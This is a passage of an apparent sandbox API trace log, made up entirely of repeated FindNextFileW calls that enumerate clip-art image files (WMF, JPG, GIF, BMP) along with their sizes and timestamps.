dwReserved1=0x0, cFileName="J0099177.WMF", cAlternateFileName="")) returned 1 [0249.581] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0xe16, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099178.WMF", cAlternateFileName="")) returned 1 [0249.581] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65daa6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x23c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099179.WMF", cAlternateFileName="")) returned 1 [0249.581] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65daa6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0xd42, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099180.WMF", cAlternateFileName="")) returned 1 [0249.581] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x4ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099181.WMF", cAlternateFileName="")) returned 1 [0249.582] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65dd0810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0xf00, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099182.WMF", cAlternateFileName="")) returned 1 [0249.582] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65dd0810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x1352, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099183.WMF", cAlternateFileName="")) returned 1 [0249.582] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x1016, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099184.WMF", cAlternateFileName="")) returned 1 [0249.588] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65dd0810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0xcd2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099185.JPG", cAlternateFileName="")) returned 1 [0249.588] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x183cef00, ftCreationTime.dwHighDateTime=0x1bdbf74, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x183cef00, ftLastWriteTime.dwHighDateTime=0x1bdbf74, nFileSizeHigh=0x0, nFileSizeLow=0x4162, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099186.JPG", cAlternateFileName="")) returned 1 [0249.588] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe4b400, ftCreationTime.dwHighDateTime=0x1bdbf74, ftLastAccessTime.dwLowDateTime=0x65dd0810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfe4b400, ftLastWriteTime.dwHighDateTime=0x1bdbf74, nFileSizeHigh=0x0, nFileSizeLow=0x5fd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099187.JPG", cAlternateFileName="")) returned 1 [0249.589] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65dd0810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x2378, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099188.JPG", cAlternateFileName="")) returned 1 [0249.589] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65dd0810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x1f8c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099189.JPG", cAlternateFileName="")) returned 1 [0249.589] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0xab74, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099190.JPG", cAlternateFileName="")) returned 1 [0249.589] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0xf39f, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099191.JPG", cAlternateFileName="")) returned 1 [0249.589] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x462c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099192.GIF", cAlternateFileName="")) returned 1 [0249.589] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65dd0810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x8ada, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099193.GIF", cAlternateFileName="")) returned 1 [0249.590] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x62b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099194.GIF", cAlternateFileName="")) returned 1 [0249.590] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65dd0810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x4dd3, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099195.GIF", cAlternateFileName="")) returned 1 [0249.590] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x3801, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099196.GIF", cAlternateFileName="")) returned 1 [0249.590] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x2a92, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099197.GIF", cAlternateFileName="")) returned 1 [0249.590] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x148b, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099198.GIF", cAlternateFileName="")) returned 1 [0249.591] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65dd0810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x84b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099199.GIF", cAlternateFileName="")) returned 1 [0249.591] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65dd0810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x409f, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099200.GIF", cAlternateFileName="")) returned 1 [0249.591] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65dd0810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0xc8c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099201.GIF", cAlternateFileName="")) returned 1 [0249.591] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65dd0810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x1367, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099202.GIF", cAlternateFileName="")) returned 1 [0249.591] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65df6970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0xf40, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099203.GIF", cAlternateFileName="")) returned 1 [0249.592] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65df6970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x45be, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099204.WMF", cAlternateFileName="")) returned 1 [0249.592] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x45be, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099205.WMF", cAlternateFileName="")) returned 1 [0249.592] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd20ae00, ftCreationTime.dwHighDateTime=0x1bd732d, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbd20ae00, ftLastWriteTime.dwHighDateTime=0x1bd732d, nFileSizeHigh=0x0, nFileSizeLow=0x133f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0101856.BMP", cAlternateFileName="")) returned 1 [0249.592] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf830800, ftCreationTime.dwHighDateTime=0x1bd732d, ftLastAccessTime.dwLowDateTime=0x65df6970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbf830800, ftLastWriteTime.dwHighDateTime=0x1bd732d, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0101857.BMP", cAlternateFileName="")) returned 1 [0249.593] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6aa1600, ftCreationTime.dwHighDateTime=0x1bd732d, ftLastAccessTime.dwLowDateTime=0x65df6970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc6aa1600, ftLastWriteTime.dwHighDateTime=0x1bd732d, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0101858.BMP", cAlternateFileName="")) returned 1 [0249.593] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac703800, ftCreationTime.dwHighDateTime=0x1bd732d, ftLastAccessTime.dwLowDateTime=0x65df6970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xac703800, ftLastWriteTime.dwHighDateTime=0x1bd732d, nFileSizeHigh=0x0, nFileSizeLow=0x7ce0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0101859.BMP", cAlternateFileName="")) returned 1 [0249.594] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaed29200, ftCreationTime.dwHighDateTime=0x1bd732d, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xaed29200, ftLastWriteTime.dwHighDateTime=0x1bd732d, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0101860.BMP", cAlternateFileName="")) returned 1 [0249.594] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2661900, ftCreationTime.dwHighDateTime=0x1bd732d, ftLastAccessTime.dwLowDateTime=0x65df6970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb2661900, ftLastWriteTime.dwHighDateTime=0x1bd732d, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0101861.BMP", cAlternateFileName="")) returned 1 [0249.594] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5f9a000, ftCreationTime.dwHighDateTime=0x1bd732d, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb5f9a000, ftLastWriteTime.dwHighDateTime=0x1bd732d, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0101862.BMP", cAlternateFileName="")) returned 1 [0249.594] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1e56200, ftCreationTime.dwHighDateTime=0x1bd732d, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc1e56200, ftLastWriteTime.dwHighDateTime=0x1bd732d, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0101863.BMP", cAlternateFileName="")) returned 1 [0249.594] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc447bc00, ftCreationTime.dwHighDateTime=0x1bd732d, ftLastAccessTime.dwLowDateTime=0x65df6970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc447bc00, ftLastWriteTime.dwHighDateTime=0x1bd732d, nFileSizeHigh=0x0, nFileSizeLow=0x7ce0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0101864.BMP", cAlternateFileName="")) returned 1 [0249.595] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb98d2700, ftCreationTime.dwHighDateTime=0x1bd732d, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb98d2700, ftLastWriteTime.dwHighDateTime=0x1bd732d, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0101865.BMP", cAlternateFileName="")) returned 1 [0249.595] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbabe5400, ftCreationTime.dwHighDateTime=0x1bd732d, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbabe5400, ftLastWriteTime.dwHighDateTime=0x1bd732d, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0101866.BMP", cAlternateFileName="")) returned 1 [0249.595] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa0dde00, ftCreationTime.dwHighDateTime=0x1bd732d, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xaa0dde00, ftLastWriteTime.dwHighDateTime=0x1bd732d, nFileSizeHigh=0x0, nFileSizeLow=0x7f68, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0101867.BMP", cAlternateFileName="")) returned 1 [0249.595] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3ee8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0101980.WMF", cAlternateFileName="")) returned 1 [0250.010] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3e74, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0102002.WMF", cAlternateFileName="")) returned 1 [0250.010] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6978, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0102594.WMF", cAlternateFileName="")) returned 1 [0250.011] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2bd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0102762.WMF", cAlternateFileName="")) returned 1 [0250.011] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4290, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0102984.WMF", cAlternateFileName="")) returned 1 [0250.011] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x43c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0103058.WMF", cAlternateFileName="")) returned 1 [0250.011] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3264, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0103262.WMF", cAlternateFileName="")) returned 1 